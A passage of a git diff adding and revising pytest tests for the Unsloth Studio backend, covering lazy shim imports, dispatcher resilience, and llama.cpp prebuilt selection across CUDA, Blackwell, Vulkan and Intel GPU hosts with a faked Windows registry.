monkeypatch.delenv("UNSLOTH_ZOO_DISABLE_GPU_INIT", raising = False) + seen_env = [] + + class _GpuGatedBlocker: + def find_spec( + self, + name, + path = None, + target = None, + ): + # Crash is in unsloth_zoo's __init__, so intercept "unsloth_zoo" itself (the parent). + if name == "unsloth_zoo": + # Record the env each attempt sees; raise the no-GPU error both times so the shim + # degrades. + seen_env.append(os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT")) + raise NotImplementedError("Unsloth cannot find any torch accelerator") + return None + + finder = _GpuGatedBlocker() + saved = { + k: v + for k, v in list(sys.modules.items()) + if k == "unsloth_zoo" or k.startswith("unsloth_zoo.") + } + for k in saved: + del sys.modules[k] + saved_shim = sys.modules.pop("utils.hf_xet_fallback", None) + sys.meta_path.insert(0, finder) + try: + degraded = importlib.import_module("utils.hf_xet_fallback") + # Import is light (lazy backend); unsloth_zoo not loaded yet. + assert seen_env == [], seen_env + # First use of a heavy helper triggers the load (attempt without the light env, then a retry + # with it set); accessing DownloadStallError drives it via __getattr__. + stall_error = degraded.DownloadStallError + assert seen_env == [None, "1"], seen_env + # Both attempts raised -> Studio still boots in degraded mode. + assert issubclass(stall_error, RuntimeError) + # The env override must not leak past the load. + assert os.environ.get("UNSLOTH_ZOO_DISABLE_GPU_INIT") is None + finally: + sys.meta_path.remove(finder) + sys.modules.pop("utils.hf_xet_fallback", None) + sys.modules.update(saved) + if saved_shim is not None: + sys.modules["utils.hf_xet_fallback"] = saved_shim -def test_disable_xet_constant_set_in_fresh_interpreter(): - code = ( - "from huggingface_hub import constants as c; " - "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is True else 17)" - ) - proc = subprocess.run( - [sys.executable, "-c", code], - env = {"HF_HUB_DISABLE_XET": "1", "PATH": _safe_path()}, - capture_output = True, - text = True, - ) - assert proc.returncode == 0, ( - f"HF_HUB_DISABLE_XET=1 did not set constants.HF_HUB_DISABLE_XET=True " - f"(rc={proc.returncode}): {proc.stderr}" - ) +def test_importing_child_should_disable_xet_stays_light(monkeypatch): + """Regression guard for the stale-transformers-sidecar bug: importing the shim (and + ``child_should_disable_xet``) must NOT pull in ``transformers``/``unsloth_zoo``. The worker calls + this at startup to decide the Xet env flip BEFORE activating the sidecar; an eager import here + would cache the default transformers 4.57.x in sys.modules, defeating the sidecar sys.path prepend + and breaking 5.x models (Qwen3.5/GLM/gemma-4).""" + import importlib + for name in [ + m + for m in list(sys.modules) + if m == "transformers" + or m.startswith("transformers.") + or m == "unsloth_zoo" + or m.startswith("unsloth_zoo.") + or m == "utils.hf_xet_fallback" + ]: + monkeypatch.delitem(sys.modules, name, raising = False) -def test_default_leaves_xet_enabled(): - code = ( - "from huggingface_hub import constants as c; " - "import sys; sys.exit(0 if c.HF_HUB_DISABLE_XET is False else 17)" - ) - proc = subprocess.run( - [sys.executable, "-c", code], - env = {"PATH": _safe_path()}, # no HF_HUB_DISABLE_XET - capture_output = True, - text = True, - ) - assert proc.returncode == 0, ( - f"without the env var, constants.HF_HUB_DISABLE_XET was not False " - f"(rc={proc.returncode}): {proc.stderr}" - ) + mod = importlib.import_module("utils.hf_xet_fallback") + # The lightweight decision works without the heavy backend. + assert mod.child_should_disable_xet({"disable_xet": True}) is True + assert mod.child_should_disable_xet({}) is False + # And nothing heavy was imported as a side effect. + assert "transformers" not in sys.modules, "importing the shim must not import transformers" + assert "unsloth_zoo" not in sys.modules, "importing the shim must not import unsloth_zoo" diff --git a/studio/backend/tests/test_inference_default_models_non_blocking.py b/studio/backend/tests/test_inference_default_models_non_blocking.py new file mode 100644 index 0000000000..83a8e7bbfb --- /dev/null +++ b/studio/backend/tests/test_inference_default_models_non_blocking.py @@ -0,0 +1,42 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Default Chat model metadata must not block on remote Hugging Face discovery.""" + +from __future__ import annotations + +import sys +import time +from pathlib import Path + +_BACKEND = Path(__file__).resolve().parent.parent +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +from core.inference.orchestrator import InferenceOrchestrator # noqa: E402 + + +def test_default_models_returns_static_defaults_before_top_fetch(monkeypatch): + sleep_seconds = 2.0 + + def _slow_fetch(self: InferenceOrchestrator) -> None: + time.sleep(sleep_seconds) + self._top_gguf_cache = ["unsloth/slow-GGUF"] + self._top_models_ready.set() + + monkeypatch.setattr(InferenceOrchestrator, "_fetch_top_models", _slow_fetch) + + orchestrator = InferenceOrchestrator() + started = time.monotonic() + defaults = orchestrator.default_models + elapsed = time.monotonic() - started + + assert elapsed < 0.5, f"default_models blocked for {elapsed:.2f}s" + assert defaults == orchestrator._static_models + assert "unsloth/slow-GGUF" not in defaults + + deadline = time.monotonic() + sleep_seconds + 5 + while not orchestrator._top_models_ready.is_set() and time.monotonic() < deadline: + time.sleep(0.05) + + assert "unsloth/slow-GGUF" in orchestrator.default_models diff --git a/studio/backend/tests/test_inference_dispatcher_resilience.py b/studio/backend/tests/test_inference_dispatcher_resilience.py new file mode 100644 index 0000000000..6184496d78 --- /dev/null +++ b/studio/backend/tests/test_inference_dispatcher_resilience.py @@ -0,0 +1,120 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Inference dispatcher resilience. + +The dispatcher thread is the sole consumer of the response queue; if a malformed +response killed it, every in-flight generation would hang forever. A bad response +must be logged and skipped, not fatal. Fakes only. +""" + +from __future__ import annotations + +import ast +import queue +import sys +import threading +import time +from pathlib import Path + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +from core.inference.orchestrator import InferenceOrchestrator # noqa: E402 + + +class _ScriptedQueue: + def __init__(self, items): + self._items = list(items) + + def get(self, timeout = None): + if self._items: + return self._items.pop(0) + raise queue.Empty + + +def _dispatcher(): + o = InferenceOrchestrator.__new__(InferenceOrchestrator) + o._dispatcher_stop = threading.Event() + o._mailbox_lock = threading.Lock() + o._mailboxes = {} + return o + + +def test_dispatcher_survives_malformed_response_and_routes_next(): + o = _dispatcher() + rid = "req-1" + mbox = queue.Queue() + o._mailboxes = {rid: mbox} + # A non-dict response (resp.get -> AttributeError) must not kill the loop; + # the following valid response must still reach its mailbox. + o._resp_queue = _ScriptedQueue([12345, {"request_id": rid, "type": "token", "text": "hi"}]) + + t = threading.Thread(target = o._dispatcher_loop, daemon = True) + t.start() + try: + got = mbox.get(timeout = 5) + assert got["text"] == "hi", "valid response must route despite the prior bad one" + assert t.is_alive(), "dispatcher must survive a malformed response" + finally: + o._dispatcher_stop.set() + t.join(timeout = 5) + assert not t.is_alive() + + +def test_dispatcher_survives_mailbox_put_error(): + o = _dispatcher() + rid = "req-2" + + class _BadMailbox: + def put(self, _resp): + raise RuntimeError("mailbox is broken") + + good = queue.Queue() + o._mailboxes = {rid: _BadMailbox(), "req-3": good} + o._resp_queue = _ScriptedQueue( + [ + {"request_id": rid, "type": "token", "text": "boom"}, + {"request_id": "req-3", "type": "token", "text": "ok"}, + ] + ) + + t = threading.Thread(target = o._dispatcher_loop, daemon = True) + t.start() + try: + got = good.get(timeout = 5) + assert got["text"] == "ok" + assert t.is_alive() + finally: + o._dispatcher_stop.set() + t.join(timeout = 5) + assert not t.is_alive() + + +def test_route_llama_streaming_async_clients_disable_proxy_env(): + """Local llama-server streaming proxies must ignore ambient HTTP_PROXY.""" + source = (Path(__file__).resolve().parent.parent / "routes" / "inference.py").read_text( + encoding = "utf-8" + ) + tree = ast.parse(source) + calls = [] + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + func = node.func + if not ( + isinstance(func, ast.Attribute) + and func.attr == "AsyncClient" + and isinstance(func.value, ast.Name) + and func.value.id == "httpx" + ): + continue + calls.append(node) + + assert len(calls) == 5 + for call in calls: + assert any( + kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False + for kw in call.keywords + ), f"httpx.AsyncClient at line {call.lineno} must set trust_env=False" diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py index ede5629664..e97ca47717 100644 --- a/studio/backend/tests/test_install_resolve_prebuilt.py +++ b/studio/backend/tests/test_install_resolve_prebuilt.py @@ -1,7 +1,8 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""install_llama_prebuilt.py: host->repo mapping and the --resolve-prebuilt mode. +"""install_llama_prebuilt.py: the --resolve-prebuilt probe (plans against the fork +by default; --published-repo overrides). These back the in-app update for source-build (markerless) installs: the backend asks the installer whether an official prebuilt exists for this host without @@ -24,9 +25,7 @@ if str(_studio) not in sys.path: ilp = importlib.import_module("install_llama_prebuilt") -if not hasattr(ilp, "published_repo_for_host") or not hasattr( - ilp, "resolve_simple_install_release_plans" -): +if not hasattr(ilp, "resolve_simple_install_release_plans"): pytest.skip("PR symbols not present - check branch", allow_module_level = True) FORK = ilp.DEFAULT_PUBLISHED_REPO # unslothai/llama.cpp @@ -56,53 +55,45 @@ def _host(**kw): return ilp.HostInfo(**base) -def test_published_repo_for_host(): - # CPU-only Linux (x64 and arm64) -> ggml-org upstream. - assert ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True)) == UPSTREAM - assert ( - ilp.published_repo_for_host(_host(is_linux = True, is_arm64 = True, machine = "aarch64")) - == UPSTREAM +def test_force_cpu_clears_all_gpu_attributes_including_intel(): + # --cpu-fallback is the "select the CPU prebuilt even when a GPU is present" + # escape hatch. It must drop EVERY GPU attribute, including has_intel_gpu, or + # the planner still prepends the Vulkan asset on an Intel-GPU host. + host = _host( + is_linux = True, + is_x86_64 = True, + has_usable_nvidia = True, + has_physical_nvidia = True, + has_rocm = True, + rocm_gfx_target = "gfx1100", + has_intel_gpu = True, ) - # GPU Linux -> fork. - assert ( - ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True, has_usable_nvidia = True)) - == FORK + forced = ilp._apply_host_overrides(host, force_cpu = True) + assert forced.has_usable_nvidia is False + assert forced.has_physical_nvidia is False + assert forced.has_rocm is False + assert forced.rocm_gfx_target is None + assert forced.has_intel_gpu is False + + +def test_macos_upstream_pin_only_for_explicit_pre26_upstream(): + pre26 = _host( + system = "Darwin", + is_macos = True, + is_arm64 = True, + machine = "arm64", + macos_version = (15, 5), ) - assert ilp.published_repo_for_host(_host(is_linux = True, is_x86_64 = True, has_rocm = True)) == FORK - # CPU-only Windows -> ggml-org (setup.ps1: the fork ships no win-cpu bundle). - assert ( - ilp.published_repo_for_host(_host(system = "Windows", is_windows = True, is_x86_64 = True)) - == UPSTREAM - ) - # GPU Windows -> fork. - assert ( - ilp.published_repo_for_host( - _host(system = "Windows", is_windows = True, is_x86_64 = True, has_usable_nvidia = True) - ) - == FORK - ) - # macOS -> fork regardless of GPU (ggml-org macOS bundles need too-new macOS). - assert ( - ilp.published_repo_for_host( - _host(system = "Darwin", is_macos = True, is_arm64 = True, machine = "arm64") - ) - == FORK - ) - # Linux with AMD tooling but no probed GPU -> fork (setup.sh routes on tooling). - assert ( - ilp.published_repo_for_host( - _host(is_linux = True, is_x86_64 = True), linux_amd_tooling_present = True - ) - == FORK - ) - # The tooling hint is Linux-only: Windows CPU stays on ggml-org. - assert ( - ilp.published_repo_for_host( - _host(system = "Windows", is_windows = True, is_x86_64 = True), - linux_amd_tooling_present = True, - ) - == UPSTREAM + assert ilp.pinned_macos_release_tag(pre26, UPSTREAM) == "b9415" + assert ilp.pinned_macos_release_tag(pre26, FORK) is None + tahoe = _host( + system = "Darwin", + is_macos = True, + is_arm64 = True, + machine = "arm64", + macos_version = (26, 0), ) + assert ilp.pinned_macos_release_tag(tahoe, UPSTREAM) is None def _run_resolve(monkeypatch, capsys, plans_or_exc): @@ -150,15 +141,13 @@ def test_resolve_prebuilt_unavailable(monkeypatch, capsys): assert out["repo"] == FORK -def test_resolve_prebuilt_linux_amd_tooling_routes_to_fork(monkeypatch, capsys): - # CPU-probed Linux host but rocminfo on PATH: the dispatch must route to the - # fork so a HIP source build is not offered an upstream CPU prebuilt. - monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True)) - monkeypatch.setattr(ilp.shutil, "which", lambda tool: tool == "rocminfo") +def _run_resolve_capture_host(monkeypatch, capsys): + """Drive --resolve-prebuilt and return the host the resolver was handed.""" seen = {} def _resolver(tag, host, repo, published_release_tag): seen["repo"] = repo + seen["host"] = host raise ilp.PrebuiltFallback("no asset") monkeypatch.setattr(ilp, "resolve_simple_install_release_plans", _resolver) @@ -169,5 +158,562 @@ def test_resolve_prebuilt_linux_amd_tooling_routes_to_fork(monkeypatch, capsys): ) assert ilp.main() == ilp.EXIT_SUCCESS out = json.loads(capsys.readouterr().out.strip().splitlines()[-1]) + return seen, out + + +def test_resolve_prebuilt_cpu_linux_routes_to_fork(monkeypatch, capsys): + # CPU-only Linux host (no GPU): the dispatch routes to the fork, which now + # ships the CPU prebuilt -- it no longer falls back to ggml-org upstream. + monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True)) + seen, out = _run_resolve_capture_host(monkeypatch, capsys) assert seen["repo"] == FORK assert out["repo"] == FORK + + +def test_resolve_prebuilt_rocm_sdk_only_host_still_offered_cpu(monkeypatch, capsys): + # A CPU-only host that merely has ROCm/HIP SDK tools on PATH (no AMD GPU, so + # detect_host leaves has_rocm False) is a valid CPU-prebuilt target. The probe + # must NOT reclassify it as ROCm from tool presence alone and suppress the CPU + # bundle -- that would deny the fork CPU prebuilt to a legitimate CPU source + # build. The host is left CPU-only and resolves against the fork. + monkeypatch.setattr(ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True)) + monkeypatch.setattr( + ilp.shutil, "which", lambda tool: "/opt/rocm/bin/hipconfig" if tool == "hipconfig" else None + ) + seen, out = _run_resolve_capture_host(monkeypatch, capsys) + assert seen["repo"] == FORK + assert seen["host"].has_rocm is False + + +# Blackwell floor is sm_100 (data-center B100/B200, B300/GB300), below consumer +# sm_120 -- 120 wrongly excluded data-center hosts from the prebuilt selection. + + +def _gpu_linux_host(caps): + return _host( + is_linux = True, + is_x86_64 = True, + has_physical_nvidia = True, + has_usable_nvidia = True, + driver_cuda_version = (13, 1), + compute_caps = caps, + ) + + +def test_host_is_blackwell_includes_datacenter_parts(): + assert ilp._host_is_blackwell(_gpu_linux_host(["10.0"])) is True # B200 sm_100 + assert ilp._host_is_blackwell(_gpu_linux_host(["10.3"])) is True # B300 sm_103 + assert ilp._host_is_blackwell(_gpu_linux_host(["12.0"])) is True # RTX 50 sm_120 + assert ilp._host_is_blackwell(_gpu_linux_host(["12.1"])) is True # DGX Spark sm_121 + assert ilp._host_is_blackwell(_gpu_linux_host(["9.0"])) is False # Hopper + assert ilp._host_is_blackwell(_gpu_linux_host(["8.0"])) is False # Ampere + assert ilp._host_is_blackwell(_gpu_linux_host(["9.0", "10.0"])) is True # highest cap wins + + +def _linux_cuda_artifact(runtime_line, supported_sms, min_sm, max_sm, profile): + return ilp.PublishedLlamaArtifact( + asset_name = f"app-b9739-linux-x64-{profile}.tar.gz", + install_kind = "linux-cuda", + runtime_line = runtime_line, + coverage_class = "newer", + supported_sms = supported_sms, + min_sm = min_sm, + max_sm = max_sm, + bundle_profile = profile, + rank = 50, + ) + + +def test_linux_blackwell_override_prefers_cuda13_for_datacenter(monkeypatch): + # Both bundles cover sm_100 and torch reports cuda12, so coverage alone can't + # decide -- only the sm_100 Blackwell floor lifts cuda13 to the front. + cuda12 = _linux_cuda_artifact( + "cuda12", ["86", "89", "90", "100", "120"], 86, 120, "cuda12-newer" + ) + cuda13 = _linux_cuda_artifact( + "cuda13", ["86", "89", "90", "100", "103", "120"], 86, 120, "cuda13-newer" + ) + release = ilp.PublishedReleaseBundle( + repo = FORK, + release_tag = "b9739-mix", + upstream_tag = "b9739", + assets = {cuda12.asset_name: "https://x/cuda12", cuda13.asset_name: "https://x/cuda13"}, + artifacts = [cuda12, cuda13], + ) + monkeypatch.setattr( + ilp, + "detected_linux_runtime_lines", + lambda: (["cuda13", "cuda12"], {"cuda13": ["/usr/lib"], "cuda12": ["/usr/lib"]}), + ) + + selection = ilp.linux_cuda_choice_from_release( + _gpu_linux_host(["10.0"]), release, preferred_runtime_line = "cuda12" + ) + assert selection is not None + assert selection.primary.runtime_line == "cuda13" + assert selection.primary.bundle_profile == "cuda13-newer" + + +def test_drop_blackwell_incapable_windows_cuda_applies_to_datacenter(): + # B200 (sm_100) on Windows must drop the cuda-12.4 build and keep cuda13. + host = _host( + system = "Windows", + is_windows = True, + is_x86_64 = True, + has_physical_nvidia = True, + has_usable_nvidia = True, + compute_caps = ["10.0"], + ) + cuda124 = ilp.AssetChoice( + repo = FORK, + tag = "b9739", + name = "llama-b9739-bin-win-cuda-12.4-x64.zip", + url = "https://x/124", + source_label = "published", + install_kind = "windows-cuda", + ) + cuda13 = ilp.AssetChoice( + repo = FORK, + tag = "b9739", + name = "app-b9739-windows-x64-cuda13-newer.zip", + url = "https://x/13", + source_label = "published", + install_kind = "windows-cuda", + max_sm = 120, + ) + kept = ilp._drop_blackwell_incapable_windows_cuda(host, [cuda124, cuda13]) + assert [a.name for a in kept] == [cuda13.name] + + +def test_blackwell_min_toolkit_is_sm_aware(): + # Family floor is 12.8; sm_103/sm_121 (no native target before 12.9) lift it. + f = ilp._blackwell_min_toolkit_for_host + assert f(_gpu_linux_host(["10.0"])) == (12, 8) # B200 + assert f(_gpu_linux_host(["12.0"])) == (12, 8) # RTX 50 + assert f(_gpu_linux_host(["10.3"])) == (12, 9) # B300 + assert f(_gpu_linux_host(["12.1"])) == (12, 9) # DGX Spark + assert f(_gpu_linux_host(["10.0", "10.3"])) == (12, 9) # max across SMs wins + + +def test_sm103_host_drops_cuda128_windows_build(): + # B300 (sm_103) needs cuda-12.9: a legacy win-cuda-12.8 build must be dropped. + host = _host( + system = "Windows", + is_windows = True, + is_x86_64 = True, + has_physical_nvidia = True, + has_usable_nvidia = True, + compute_caps = ["10.3"], + ) + cuda128 = ilp.AssetChoice( + repo = FORK, + tag = "b9739", + name = "llama-b9739-bin-win-cuda-12.8-x64.zip", + url = "https://x/128", + source_label = "published", + install_kind = "windows-cuda", + ) + cuda129 = ilp.AssetChoice( + repo = FORK, + tag = "b9739", + name = "llama-b9739-bin-win-cuda-12.9-x64.zip", + url = "https://x/129", + source_label = "published", + install_kind = "windows-cuda", + ) + kept = ilp._drop_blackwell_incapable_windows_cuda(host, [cuda128, cuda129]) + assert [a.name for a in kept] == [cuda129.name] + # sm_100 stays on the 12.8 family floor and keeps the same 12.8 build. + b200 = _host( + system = "Windows", + is_windows = True, + is_x86_64 = True, + has_physical_nvidia = True, + has_usable_nvidia = True, + compute_caps = ["10.0"], + ) + kept_b200 = ilp._drop_blackwell_incapable_windows_cuda(b200, [cuda128, cuda129]) + assert [a.name for a in kept_b200] == [cuda128.name, cuda129.name] + + +def _upstream_release(tag, asset_names): + return { + "tag_name": tag, + "assets": [ + {"name": n, "browser_download_url": f"https://example/{n}"} for n in asset_names + ], + } + + +def test_direct_upstream_arm64_intel_prefers_vulkan(): + # Auto-detected Intel GPU on Linux arm64 -> Vulkan prebuilt first, CPU + # second (mirrors the x86_64 branch; ggml-org ships the arm64 Vulkan asset). + host = _host(is_linux = True, is_arm64 = True, machine = "aarch64", has_intel_gpu = True) + rel = _upstream_release( + "b9925", + ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"], + ) + plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") + kinds = [a.install_kind for a in plan.attempts] + assert kinds[0] == "linux-vulkan", kinds + assert "linux-arm64" in kinds + assert plan.attempts[0].name == "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz" + + +def test_direct_upstream_intel_with_hidden_nvidia_is_cpu_only(): + # A host with a physical NVIDIA hidden via CUDA_VISIBLE_DEVICES (physical + # True, usable False) + an Intel iGPU must NOT get the Vulkan archive even + # when planning directly against upstream: Vulkan ignores CUDA_VISIBLE_DEVICES + # and could grab the reserved card. It falls through to the CPU asset. + host = _host( + is_linux = True, + is_x86_64 = True, + has_intel_gpu = True, + has_physical_nvidia = True, + has_usable_nvidia = False, + ) + rel = _upstream_release( + "b9925", + ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"], + ) + plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") + assert [a.install_kind for a in plan.attempts] == ["linux-cpu"] + + +def test_direct_upstream_arm64_without_intel_is_cpu_only(): + host = _host(is_linux = True, is_arm64 = True, machine = "aarch64") + rel = _upstream_release( + "b9925", + ["llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", "llama-b9925-bin-ubuntu-arm64.tar.gz"], + ) + plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") + assert [a.install_kind for a in plan.attempts] == ["linux-arm64"] + + +def test_direct_upstream_x86_intel_prefers_vulkan(): + host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + rel = _upstream_release( + "b9925", + ["llama-b9925-bin-ubuntu-vulkan-x64.tar.gz", "llama-b9925-bin-ubuntu-x64.tar.gz"], + ) + plan = ilp.direct_upstream_release_plan(rel, host, UPSTREAM, "latest") + kinds = [a.install_kind for a in plan.attempts] + assert kinds[0] == "linux-vulkan", kinds + assert "linux-cpu" in kinds + + +def test_linux_vulkan_health_glob_matches_bare_cpu_lib(): + # The widened glob must cover both arch-suffixed (x64) and bare (arm64) CPU + # libs so a valid Vulkan install is not re-flagged unhealthy every check. + choice = ilp.AssetChoice( + repo = UPSTREAM, + tag = "b9925", + name = "llama-b9925-bin-ubuntu-vulkan-arm64.tar.gz", + url = "https://example/x", + source_label = "upstream", + install_kind = "linux-vulkan", + ) + groups = ilp.runtime_payload_health_groups(choice) + assert ["libggml-cpu*.so*"] in groups + assert ["libggml-cpu-*.so*"] not in groups + + +def test_route_to_vulkan_prebuilt_auto_intel_goes_upstream_and_drops_fork_pin(): + # Routing fork -> upstream also drops the fork release pin, which is in a + # different tag namespace and would make the upstream resolver miss. + host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = False) + assert repo == UPSTREAM + assert tag == "" + assert routed.has_intel_gpu is True + + +def test_route_to_vulkan_prebuilt_preserves_explicit_upstream_pin(): + # A pin set WITH an explicit upstream repo is already on upstream -> kept. + host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + _routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, UPSTREAM, "b9596", force_cpu = False) + assert repo == UPSTREAM + assert tag == "b9596" + + +def test_route_to_vulkan_prebuilt_cpu_fallback_wins(): + # --cpu-fallback suppresses Vulkan routing even for an Intel host. + host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + routed, repo, tag = ilp._route_to_vulkan_prebuilt(host, FORK, "b9596-mix-abc", force_cpu = True) + assert repo == FORK + assert tag == "b9596-mix-abc" + assert routed is host + + +def test_route_to_vulkan_prebuilt_hidden_nvidia_not_rerouted(): + # A mixed NVIDIA+Intel host that hid NVIDIA (CUDA_VISIBLE_DEVICES=""/-1): + # physical NVIDIA present but not usable. Must NOT auto-route to Vulkan, or + # Vulkan (which ignores CUDA_VISIBLE_DEVICES) could grab the reserved GPU. + host = _host( + is_linux = True, + is_x86_64 = True, + has_intel_gpu = True, + has_physical_nvidia = True, + has_usable_nvidia = False, + ) + _routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False) + assert repo == FORK + + +def test_route_to_vulkan_prebuilt_rocm_host_not_rerouted(): + # An Intel iGPU alongside a usable ROCm GPU stays on its ROCm/fork path. + host = _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True, has_rocm = True) + _routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False) + assert repo == FORK + + +def test_route_to_vulkan_prebuilt_non_intel_unchanged(): + host = _host(is_linux = True, is_x86_64 = True) + routed, repo, _tag = ilp._route_to_vulkan_prebuilt(host, FORK, "", force_cpu = False) + assert repo == FORK + assert routed is host + + +def test_resolve_prebuilt_intel_host_routes_to_upstream(monkeypatch, capsys): + # The --resolve-prebuilt probe must agree with the install path: an + # auto-detected Intel host resolves against upstream (Vulkan), not the fork. + monkeypatch.setattr( + ilp, "detect_host", lambda: _host(is_linux = True, is_x86_64 = True, has_intel_gpu = True) + ) + seen, out = _run_resolve_capture_host(monkeypatch, capsys) + assert seen["repo"] == UPSTREAM + assert out["repo"] == UPSTREAM + + +# --------------------------------------------------------------------------- +# windows_intel_gpu_in_registry: the in-process Windows Intel probe. A fake +# winreg module stands in for the real registry so the walk runs anywhere. +# --------------------------------------------------------------------------- + + +class _FakeRegKey: + def __init__( + self, + subkeys = None, + values = None, + denied = False, + ): + self.subkeys = subkeys or {} + self.values = values or {} + self.denied = denied + + def __enter__(self): + return self + + def __exit__(self, *exc): + return False + + +class _FakeWinreg: + HKEY_LOCAL_MACHINE = object() + + def __init__(self, root_key): + self._root_key = root_key + + def OpenKey(self, parent, name): + if parent is self.HKEY_LOCAL_MACHINE: + # Pin the production constant: a typo'd class GUID must fail here, + # not silently return the fake tree. + if name != ilp._WINDOWS_DISPLAY_CLASS_KEY: + raise FileNotFoundError(name) + if self._root_key is None: + raise FileNotFoundError(name) + return self._root_key + key = parent.subkeys.get(name) + if key is None: + # Real winreg raises OSError, never KeyError, for a missing key. + raise FileNotFoundError(name) + if key.denied: + raise PermissionError(name) + return key + + def QueryInfoKey(self, key): + return (len(key.subkeys), len(key.values), 0) + + def EnumKey(self, key, index): + return list(key.subkeys)[index] + + def QueryValueEx(self, key, value_name): + if value_name not in key.values: + raise FileNotFoundError(value_name) + return (key.values[value_name], 1) + + +def _probe_with_display_class(monkeypatch, adapters): + # The helper lazily does `import winreg`; plant the fake in sys.modules the + # same way unsloth_cli/tests/test_start.py fakes it for _refresh_windows_path. + monkeypatch.setitem(sys.modules, "winreg", _FakeWinreg(_FakeRegKey(subkeys = adapters))) + return ilp.windows_intel_gpu_in_registry() + + +def test_windows_intel_registry_matches_vendor_id(monkeypatch): + assert ( + _probe_with_display_class( + monkeypatch, + { + "0000": _FakeRegKey( + values = { + "MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0&SUBSYS_12345678", + "DriverDesc": "Intel(R) Arc(TM) A770 Graphics", + } + ), + }, + ) + is True + ) + + +def test_windows_intel_registry_matches_driver_desc_without_device_id(monkeypatch): + assert ( + _probe_with_display_class( + monkeypatch, + { + "0000": _FakeRegKey(values = {"DriverDesc": "Intel(R) UHD Graphics 630"}), + }, + ) + is True + ) + + +def test_windows_intel_registry_ignores_non_intel_adapters(monkeypatch): + assert ( + _probe_with_display_class( + monkeypatch, + { + "0000": _FakeRegKey( + values = { + "MatchingDeviceId": r"PCI\VEN_10DE&DEV_2684", + "DriverDesc": "NVIDIA GeForce RTX 4090", + } + ), + "0001": _FakeRegKey( + values = { + "MatchingDeviceId": r"PCI\VEN_1002&DEV_744C", + "DriverDesc": "AMD Radeon RX 7900 XTX", + } + ), + }, + ) + is False + ) + + +def test_windows_intel_registry_skips_restricted_properties_subkey(monkeypatch): + # The real class key carries an ACL-restricted "Properties" subkey and can + # deny access to individual adapter keys; neither may abort the walk. + assert ( + _probe_with_display_class( + monkeypatch, + { + "Properties": _FakeRegKey(denied = True), + "0000": _FakeRegKey(denied = True), + "0001": _FakeRegKey( + values = { + "MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0", + } + ), + }, + ) + is True + ) + + +def test_windows_intel_registry_missing_class_key_is_false(monkeypatch): + monkeypatch.setitem(sys.modules, "winreg", _FakeWinreg(None)) + assert ilp.windows_intel_gpu_in_registry() is False + + +def _detect_windows_host( + monkeypatch, + winreg_fake, + powershell_stdout = "", +): + """Drive the real detect_host() as a GPU-less Windows host with a fake + registry, recording every run_capture invocation. Pins the wiring the + unit tests above cannot see: registry-first, CIM only on a registry miss.""" + monkeypatch.setitem(sys.modules, "winreg", winreg_fake) + monkeypatch.setattr(ilp.platform, "system", lambda: "Windows") + monkeypatch.setattr(ilp.platform, "machine", lambda: "AMD64") + for _env in ( + "CUDA_VISIBLE_DEVICES", + "HIP_VISIBLE_DEVICES", + "ROCR_VISIBLE_DEVICES", + "HIP_PATH", + "ROCM_PATH", + ): + monkeypatch.delenv(_env, raising = False) + monkeypatch.setattr( + ilp.shutil, + "which", + lambda name: "powershell" if name in ("powershell", "pwsh") else None, + ) + captured = [] + + def _fake_run_capture(command, **kwargs): + captured.append(command[0]) + if command[0] == "powershell": + return SimpleNamespace(returncode = 0, stdout = powershell_stdout, stderr = "") + return SimpleNamespace(returncode = 1, stdout = "", stderr = "") + + monkeypatch.setattr(ilp, "run_capture", _fake_run_capture) + return ilp.detect_host(), captured + + +def test_detect_host_registry_intel_skips_cim_probe(monkeypatch): + winreg = _FakeWinreg( + _FakeRegKey( + subkeys = { + "0000": _FakeRegKey(values = {"MatchingDeviceId": r"PCI\VEN_8086&DEV_56A0"}), + } + ) + ) + host, captured = _detect_windows_host(monkeypatch, winreg) + assert host.has_intel_gpu is True + assert "powershell" not in captured + + +def test_detect_host_cim_fallback_fires_on_registry_miss(monkeypatch): + winreg = _FakeWinreg( + _FakeRegKey( + subkeys = { + "0000": _FakeRegKey(values 